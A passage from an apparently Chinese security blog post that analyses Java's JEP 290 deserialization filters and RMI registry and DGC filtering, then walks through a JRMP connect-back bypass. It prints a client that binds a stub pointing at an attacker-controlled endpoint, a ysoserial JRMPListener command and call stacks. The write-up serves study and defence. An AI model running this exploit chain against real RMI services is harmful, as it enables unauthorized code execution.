(pkg.length() < 2 ) { throw new IllegalArgumentException ("package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> matchesPackage(c, pkg) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> matchesPackage(c, pkg) ? Status.ALLOWED : Status.UNDECIDED; } } else if (p.endsWith(".**" )) { final String pkgs = p.substring(poffset, nameLen - 2 ); if (pkgs.length() < 2 ) { throw new IllegalArgumentException ("package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> c.getName().startsWith(pkgs) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().startsWith(pkgs) ? Status.ALLOWED : Status.UNDECIDED; } } else { final String className = p.substring(poffset, nameLen - 1 ); if (negate) { patternFilter = c -> c.getName().startsWith(className) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().startsWith(className) ? Status.ALLOWED : Status.UNDECIDED; } } } else { final String name = p.substring(poffset); if (name.isEmpty()) { throw new IllegalArgumentException ("class or package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> c.getName().equals(name) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().equals(name) ? Status.ALLOWED : Status.UNDECIDED; } } if (moduleName == null ) { filters.add(patternFilter); } else { filters.add(c -> moduleName.equals(c.getModule().getName()) ? patternFilter.apply(c) : Status.UNDECIDED); } } if (filters.isEmpty() && !hasLimits) { throw new UnsupportedOperationException ("no non-empty patterns" ); } }
filterCheck 过滤函数 ObjectInputStream#filterCheck
会对类进行过滤。该函数逻辑为:
判断 serialFilter
是否为空
交给 serialFilter#checkInput
进行类检测
若返回状态为 null
或 REJECTED
,抛出 InvalidClassException
异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 private void filterCheck (Class<?> clazz, int arrayLength) throws InvalidClassException { if (serialFilter != null ) { RuntimeException ex = null ; ObjectInputFilter.Status status; try { status = serialFilter.checkInput(new FilterValues ( clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead())); } catch (RuntimeException e) { status = ObjectInputFilter.Status.REJECTED; ex = e; } if (Logging.filterLogger != null ) { Logging.filterLogger.log( status == null || status == ObjectInputFilter.Status.REJECTED ? Logger.Level.DEBUG : Logger.Level.TRACE, "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}" , status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(), Objects.toString(ex, "n/a" )); } if (status == null || status == ObjectInputFilter.Status.REJECTED) { InvalidClassException ice = new InvalidClassException ("filter status: " + status); ice.initCause(ex); throw ice; } } }
serialFilter#checkInput
的参数是一个 FilterValues
对象(这个类实现了 ObjectInputFilter.FilterInfo
接口)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static class FilterValues implements ObjectInputFilter .FilterInfo { final Class<?> clazz; final long arrayLength; final long totalObjectRefs; final long depth; final long streamBytes; public FilterValues (Class<?> clazz, long arrayLength, long totalObjectRefs, long depth, long streamBytes) { this .clazz = clazz; this .arrayLength = arrayLength; this .totalObjectRefs = totalObjectRefs; this .depth = depth; this .streamBytes = streamBytes; } }
前面分析过 serialFilter
实际上是实现 ObjectInputFilter
接口的 Global
类实例化的对象,因此 serialFilter.checkInput
调用的是 Global#checkInput
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 @Override public Status checkInput (FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth || filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null ) { if (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) { return Status.REJECTED; } do { clazz = clazz.getComponentType(); } while (clazz.isArray()); } if (clazz.isPrimitive()) { return Status.UNDECIDED; } else { final Class<?> cl = clazz; Optional<Status> status = filters.stream() .map(f -> f.apply(cl)) .filter(p -> p != Status.UNDECIDED) .findFirst(); return status.orElse(Status.UNDECIDED); } } return Status.UNDECIDED; }
自定义过滤器 前面通过设置全局属性 jdk.serialFilter
,创建的是全局过滤器,因为 ObjectInputFilter.Config
类初始化,Global
这个过滤器被创建并赋值给 Config.serialFilter
,每次创建 ObjectInputStream
对象都是去拿 Config
的 serialFilter
属性。
局部自定义过滤器 若想设置局部自定义过滤器,可以调用 ObjectInputStream#setInternalObjectInputFilter
,传入自定义的 ObjectInputFilter
(JDK9及以上是 setObjectInputFilter
,相应的也有 getObjectInputFilter
用于获取过滤器)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public final void setObjectInputFilter (ObjectInputFilter filter) { SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION); } if (serialFilter != null && serialFilter != ObjectInputFilter.Config.getSerialFilter()) { throw new IllegalStateException ("filter can not be set more than once" ); } this .serialFilter = filter; }
例如下面这个例子通过 ObjectInputStream#setObjectInputFilter
设置由 ObjectInputFilter$Config#createFilter
创建的过滤器阻止反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.*;import java.util.*;public class Jep290FilterDemo { static final String RULE = "maxdepth=64;maxrefs=10000;maxbytes=1048576;java.base/*;com.myapp.**;!*" ; public static void main (String[] args) throws Exception { ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(RULE); byte [] ok = serialize(new ArrayList <>(Arrays.asList("a" , "b" ))); System.out.println("Allowed -> " + deserialize(ok, filter)); byte [] bad = serialize(new java .awt.Point(1 , 2 )); try { Object o = deserialize(bad, filter); System.out.println("Unexpected: " + o); } catch (InvalidClassException e) { System.out.println("Rejected as expected: " + e.getMessage()); } } static byte [] serialize(Serializable obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream (); try (ObjectOutputStream oos = new ObjectOutputStream (bos)) { oos.writeObject(obj); } return bos.toByteArray(); } static Object deserialize (byte [] buf, ObjectInputFilter f) throws Exception { try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (buf))) { ois.setObjectInputFilter(f); return ois.readObject(); } } }
全局自定义过滤器 全局自定义过滤器可以通过 Config#setSerialFilter
设置,但是为了安全起见只能设置一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static void setSerialFilter (ObjectInputFilter filter) { Objects.requireNonNull(filter, "filter" ); SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION); } synchronized (serialFilterLock) { if (serialFilter != null ) { throw new IllegalStateException ("Serial filter can only be set once" ); } serialFilter = filter; } }
RMI 中的过滤 远程对象 RMI 在调用远程方法时,服务端 sun.rmi.server.UnicastServerRef#dispatch
会反序列化客户端发送的序列化参数对象。
1 2 3 4 5 6 unmarshalCustomCallData(in); for (int i = 0 ; i < types.length; i++) { params[i] = unmarshalValue(types[i], in); }
其中 unmarshalCustomCallData
函数会设置过滤器 filter
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 protected void unmarshalCustomCallData (ObjectInput in) throws IOException, ClassNotFoundException { if (filter != null && in instanceof ObjectInputStream) { ObjectInputStream ois = (ObjectInputStream) in; AccessController.doPrivileged((PrivilegedAction<Void>) () -> { ois.setObjectInputFilter(filter); return null ; }); } }
UnicastServerRef.filter
是 UnicastServerRef
中的一个成员。
1 2 private final transient ObjectInputFilter filter;
在导出远程对象的时候 filter
默认为空,也就是默认没有反序列化过滤器。
1 2 3 4 5 6 7 8 9 10 public static Remote exportObject (Remote obj, int port) throws RemoteException { return exportObject(obj, new UnicastServerRef (port)); } public UnicastServerRef (int port) { super (new LiveRef (port)); this .filter = null ; }
注册中心 注册中心 RegistryImpl
创建时会定一个过滤器。
1 2 3 4 5 6 7 8 9 10 11 12 13 public RegistryImpl (int port) throws RemoteException { LiveRef lref = new LiveRef (id, port); setup(new UnicastServerRef (lref, RegistryImpl::registryFilter)); } public UnicastServerRef (LiveRef ref, ObjectInputFilter filter) { super (ref); this .filter = filter; }
RegistryImpl::registryFilter
是 Java 8 的“方法引用(method reference)”语法 ,::
是方法引用运算符 。它不会调用方法,而是把这个方法当作函数值 传递给需要“函数式接口(SAM)”的地方。
由于 UnicastServerRef
的参数 filter
是 ObjectInputFilter
类型,因此正常应该是下面这种写法:
1 2 3 4 5 6 setup(new UnicastServerRef (lref, new ObjectInputFilter () { @Override public ObjectInputFilter.Status checkInput (ObjectInputFilter.FilterInfo info) { return RegistryImpl.registryFilter(info); } }));
因为 ObjectInputFilter
是函数式接口 (只有一个抽象方法,并且前面还有 @FunctionalInterface
注解):
1 2 3 4 @FunctionalInterface interface ObjectInputFilter { Status checkInput (FilterInfo info) ; }
并且 registryFilter
参数、返回值正好兼容 checkInput(FilterInfo) -> Status
:
1 private static ObjectInputFilter.Status registryFilter (ObjectInputFilter.FilterInfo filterInfo) { ... }
编译器就把 RegistryImpl::registryFilter
适配成一个实现了 ObjectInputFilter
的对象。
注意这里 ::
只是把方法“引用”成一个函数对象 ;.
才是立刻调用 方法。
RegistryImpl::registryFilter
设置了一个白名单,只允许反序列化特定类的子类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 private static ObjectInputFilter.Status registryFilter (ObjectInputFilter.FilterInfo filterInfo) { if (registryFilter != null ) { ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { return status; } } if (filterInfo.depth() > REGISTRY_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null ) { if (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } do { clazz = clazz.getComponentType(); } while (clazz.isArray()); } if (clazz.isPrimitive()) { return ObjectInputFilter.Status.ALLOWED; } if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; } } return ObjectInputFilter.Status.UNDECIDED; }
RegistryImpl
会优先使用事先注册的 registryFilter
过滤器。该过滤器在初始化时读取全局属性 sun.rmi.registry.registryFilter
,读不到也是默认 null
过滤器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private static final ObjectInputFilter registryFilter = AccessController.doPrivileged((PrivilegedAction<ObjectInputFilter>) RegistryImpl::initRegistryFilter); @SuppressWarnings("deprecation") private static ObjectInputFilter initRegistryFilter () { ObjectInputFilter filter = null ; String props = System.getProperty(REGISTRY_FILTER_PROPNAME); if (props == null ) { props = Security.getProperty(REGISTRY_FILTER_PROPNAME); } if (props != null ) { filter = ObjectInputFilter.Config.createFilter(props); Log regLog = Log.getLog("sun.rmi.registry" , "registry" , -1 ); if (regLog.isLoggable(Log.BRIEF)) { regLog.log(Log.BRIEF, "registryFilter = " + filter); } } return filter; }
DGC 同样 DGCImpl
在静态代码块中也设置了自己的过滤器 DGCImpl::checkInput
。
1 2 3 4 5 6 7 8 9 dgc = new DGCImpl (); ObjID dgcID = new ObjID (ObjID.DGC_ID);LiveRef ref = new LiveRef (dgcID, 0 );UnicastServerRef disp = new UnicastServerRef (ref, DGCImpl::checkInput); Remote stub = Util.createProxy(DGCImpl.class, new UnicastRef (ref), true ); disp.setSkeleton(dgc);
DGCImpl::checkInput
实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 private static ObjectInputFilter.Status checkInput (ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null ) { ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { return status; } } if (filterInfo.depth() > DGC_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null ) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { return ObjectInputFilter.Status.ALLOWED; } return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } return ObjectInputFilter.Status.UNDECIDED; }
注意这里是 DGC 服务端的过滤,而 DGC 客户端在低版本没有过滤。这也是后面针对注册中心常用的利用点。
RMI + JEP 290 绕过 普通远程对象 对于普通远程对象,UnicastServerRef
中的 ObjectInputFilter
默认是 null
。因此,攻击者依然可以传输恶意对象触发反序列化漏洞。
这并不能算严格意义的“bypass”,更像是 防护机制未覆盖完全 。
客户端 JEP 290 仅在服务端引用层(UnicastServerRef
)的 unmarshalCustomCallData
方法中显式注册了过滤器。客户端引用层(UnicastRef
)并没有设置过滤器 。
注册中心 JRMP 回连诱导(本地) Registry.bind(name, stub)
传输的是 Stub 的序列化数据 。Registry 要存它,必须把 Stub 反序列化 成对象(会用到 JDK 自带的 UnicastRef/LiveRef/TCPEndpoint/ObjID
等类型)。当 Registry 在反序列化过程中读到 LiveRef(TCPEndpoint)
后,会先把这些“跨端远程引用”暂存 起来;在 releaseInputStream()
收尾 时统一 **registerRefs()
**,从而对每个端点发起 **DGC.dirty
**(“我现在持有这些远程对象,请先别回收”)。
因此,只要把 TCPEndpoint
指向我们的 JRMPListener ,Registry 就会回连 到我们指定的 host:port
。
sequenceDiagram
autonumber
%% ── 不同进程分组(带背景色) ──
box rgb(230,242,255) 攻击者客户端(进程A)
participant A as 攻击者客户端
end
box rgb(232,245,233) 注册中心(进程B)
participant R_Skel as RegistryImpl_Skel / Skeleton
participant R_CIS as ConnectionInputStream
participant R_DGC as DGCClient
end
box rgb(255,243,224) 恶意JRMPListener(进程C)
participant L as JRMPListener
end
%% ── 主流程 ──
A->>R_Skel: bind(name, stub[UnicastRef→LiveRef(TCPEndpoint)])
R_Skel->>R_Skel: checkAccess("bind") 🔒
alt 非本地来源(高版本) ❌
R_Skel-->>A: AccessException 🚫
else 本地来源 ✅
R_Skel->>R_CIS: getInputStream()
R_Skel->>R_CIS: in.readObject() 读取 name
R_Skel->>R_CIS: in.readObject() 读取 Remote(Stub) 📥
note right of R_CIS: RemoteObject.readObject → UnicastRef.readExternal → LiveRef.read(...) → saveRef(liveRef) 📦
opt JEP 290 过滤 🛡️
R_CIS->>R_CIS: 类名/深度/数组/引用数检查
alt 过滤拒绝 ❌
R_Skel-->>A: InvalidClassException / UnmarshalException 🚫
else 通过 ✅
note right of R_CIS: 继续收集 LiveRef 📦
end
end
R_Skel-->>R_CIS: finally: releaseInputStream() 🧹
note right of R_CIS: 收尾 → registerRefs() 🔁(按 Endpoint 合批)
R_CIS->>R_DGC: registerRefs(endpoint, [liveRef...]) 📦
R_DGC->>L: JRMP 调用 DGC.dirty(ObjID[], Lease请求) 🌐
alt 正常返回(NormalReturn) ✅
L-->>R_DGC: 返回 Lease 📄
R_DGC->>R_DGC: 设置 leaseFilter(JDK 8u231+)🛡️
R_DGC->>R_DGC: readObject() 读取 Lease
alt 白名单允许 ✅
R_DGC-->>R_Skel: 续租成功 ✅
else 白名单拒绝 ❌
R_DGC-->>R_Skel: InvalidClassException → UnmarshalException 🚫
end
else 异常返回(ExceptionalReturn) ⚠️
L-->>R_DGC: 返回异常对象 💥
note over R_DGC: StreamRemoteCall.executeCall 内 先反序列化异常(可能早于 leaseFilter)🕳️ → 潜在触发链 🧨 随后抛 UnexpectedException 属预期
end
end
例如服务端创建一个注册中心:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.rmi.registry.LocateRegistry;public class RMIServer { public static void main (String[] args) throws Exception { LocateRegistry.createRegistry(1099 ); System.out.println("[*] RMI Registry started on 127.0.0.1:1099" ); Thread.sleep(Long.MAX_VALUE); } }
然后客户端想注册中心 bind 一个 Remote 代理对象,该 Stub 内部持有 UnicastRef,指向指定的 JRMP 端点(host:port)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;public class RMIClient { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 ); ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint ("127.0.0.1" , 12233 ); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler (ref); Remote proxy = (Remote) Proxy.newProxyInstance( RMIClient.class.getClassLoader(), new Class []{ Remote.class }, handler ); registry.bind("x" , proxy); System.out.println("[*] Bind done: name='x' → UnicastRef(" + te.getHost() + ":" + te.getPort() + ")" ); } }
绑定发生时,注册中心需要反序列化该 Stub(涉及 UnicastRef/LiveRef/TCPEndpoint)导致 DGC dirty → 连接恶意 JRMP 服务端。
此时如果我们设置 ysoserial.exploit.JRMPListener
监听该端口则会在 DGC dirty 触发反序列化。
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12233 URLDNS http://example.com
这里以 bind
为例,在前面针对构造指向“恶意 JRMP 服务端”的远程引用(UnicastRef)的反序列化的过程中有如下调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 at sun.rmi.transport.ConnectionInputStream.saveRef(ConnectionInputStream.java:70) at sun.rmi.transport.LiveRef.read(LiveRef.java:305) at sun.rmi.server.UnicastRef.readExternal(UnicastRef.java:489) at java.rmi.server.RemoteObject.readObject(RemoteObject.java:454) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2346) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2240) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:109) at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.Transport.serviceCall(Transport.java:196) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.2071178362.run(Unknown Source:-1) at java.security.AccessController.doPrivileged(AccessController.java:-1) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) at java.lang.Thread.run(Thread.java:844)
RemoteObject#readObject
实现代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 private void readObject (java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException { String refClassName = in.readUTF(); if (refClassName == null || refClassName.length() == 0 ) { ref = (RemoteRef) in.readObject(); } else { String internalRefClassName = RemoteRef.packagePrefix + "." + refClassName; Class<?> refClass = Class.forName(internalRefClassName); try { @SuppressWarnings("deprecation") Object tmp = refClass.newInstance(); ref = (RemoteRef) tmp; } catch (InstantiationException | IllegalAccessException | ClassCastException e) { throw new ClassNotFoundException (internalRefClassName, e); } ref.readExternal(in); } }
它在反序列化一个远程对象的“引用 ref” 。流里先写了个类型标记 (比如 "UnicastRef"
),读出来后:
如果没写类型标记 ,就用常规 readObject()
把整个 RemoteRef
读回来;
如果写了类型标记 ,就new 出对应的 RemoteRef 类 (如 sun.rmi.server.UnicastRef
),然后让它自己按“外部格式”把字段从流里读出来 ——这就发生在 ref.readExternal(in)
这句。
readExternal
会调用到 LiveRef
的 read
方法。该方法会:
从数据流中读取端点(Endpoint)和远程对象标识(ObjID
);
基于端点与对象ID构造 LiveRef
,并调用 ConnectionInputStream#saveRef
将本次读取到的 LiveRef 暂存到流内。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 public void readExternal (ObjectInput in) throws IOException, ClassNotFoundException { ref = LiveRef.read(in, false ); } public static LiveRef read (ObjectInput in, boolean useNewFormat) throws IOException, ClassNotFoundException { Endpoint ep; ObjID id; if (useNewFormat) { ep = TCPEndpoint.read(in); } else { ep = TCPEndpoint.readHostPortFormat(in); } id = ObjID.read(in); boolean isResultStream = in.readBoolean(); LiveRef ref = new LiveRef (id, ep, false ); if (in instanceof ConnectionInputStream) { ConnectionInputStream stream = (ConnectionInputStream) in; stream.saveRef(ref); if (isResultStream) { stream.setAckNeeded(); } } else { DGCClient.registerRefs(ep, Arrays.asList(new LiveRef [] { ref })); } return ref; }
ConnectionInputStream#saveRef
会将之前没有遇到的远程引用保存起来,具体是保存在 incomingRefTable
映射表中当前读取端点 ep
对应的列表 refList
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void saveRef (LiveRef ref) { Endpoint ep = ref.getEndpoint(); List<LiveRef> refList = incomingRefTable.get(ep); if (refList == null ) { refList = new ArrayList <LiveRef>(); incomingRefTable.put(ep, refList); } refList.add(ref); }
在 RegistryImpl_Skel#dispatch
中每一个注册中心的远程调用分支在完成远程调用后都会执行一个 call.releaseInputStream
方法。
releaseInputStream()
会在参数读完后关闭请求输入流 ,随后触发清理钩子 (将已收集的 LiveRef
统一 registerRefs()
,从而发起 DGC.dirty
),最后把连接切换到“写返回值”模式 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 case 0 : { RegistryImpl.checkAccess("Registry.bind" ); java.lang.String $param_String_1; java.rmi.Remote $param_Remote_2; try { java.io.ObjectInput in = call.getInputStream(); $param_String_1 = (java.lang.String) in.readObject(); $param_Remote_2 = (java.rmi.Remote) in.readObject(); } catch (java.io.IOException | java.lang.ClassNotFoundException e) { throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); }
前面在服务端反序列化 Remote
参数时,输入流会把遇到的 LiveRef 先存起来 (saveRef
→ incomingRefTable
,按 Endpoint 分组)。
当调用到 releaseInputStream()
,输入流做收尾:把刚才收集到的 LiveRef 按端点合并后,一次性报备 给对方的分布式 GC(DGC),相当于说“我这边现在持有这些远程对象,请先别回收”。
而releaseInputStream
调用的 registerRefs
会遍历前面添加终端节点和远程对象的 incomingRefTable
表,因此最终会遍历到我们设置指向恶意 JRMP 服务器的远程对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void registerRefs () throws IOException { if (!incomingRefTable.isEmpty()) { for (Map.Entry<Endpoint, List<LiveRef>> entry : incomingRefTable.entrySet()) { DGCClient.registerRefs(entry.getKey(), entry.getValue()); } } }
因此注册中心的 DGCClient
在 DGCImpl_Stub#dirty
过程中会去访问我们在远程对象设置的恶意 JRMP 服务器。该服务器接收到远端请求后会返回的一个异常对象,反序列化该异常对象则会触发反序列化利用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 public java.rmi.dgc.Lease dirty (java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3) throws java.rmi.RemoteException { ref.invoke(call); } public void invoke (RemoteCall call) throws Exception { call.executeCall(); } public void executeCall () throws Exception { byte returnType; DGCAckHandler ackHandler = null ; try { if (out != null ) { ackHandler = out.getDGCAckHandler(); } releaseOutputStream(); DataInputStream rd = new DataInputStream (conn.getInputStream()); byte op = rd.readByte(); if (op != TransportConstants.Return) { if (Transport.transportLog.isLoggable(Log.BRIEF)) { Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + op); } throw new UnmarshalException ("Transport return code invalid" ); } getInputStream(); returnType = in.readByte(); in.readID(); } catch (UnmarshalException e) { throw e; } catch (IOException e) { throw new UnmarshalException ("Error unmarshaling return header" , e); } finally { if (ackHandler != null ) { ackHandler.release(); } } switch (returnType) { case TransportConstants.NormalReturn: break ; case TransportConstants.ExceptionalReturn: Object ex; try { ex = in.readObject(); } catch (Exception e) { throw new UnmarshalException ("Error unmarshaling return" , e); } } }
这一过程调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:440) at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361) at java.net.URL.hashCode(URL.java:957) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.readObject(HashMap.java:1462) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585) at java.io.ObjectInputStream.access$300(ObjectInputStream.java:222) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602) at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:564) at 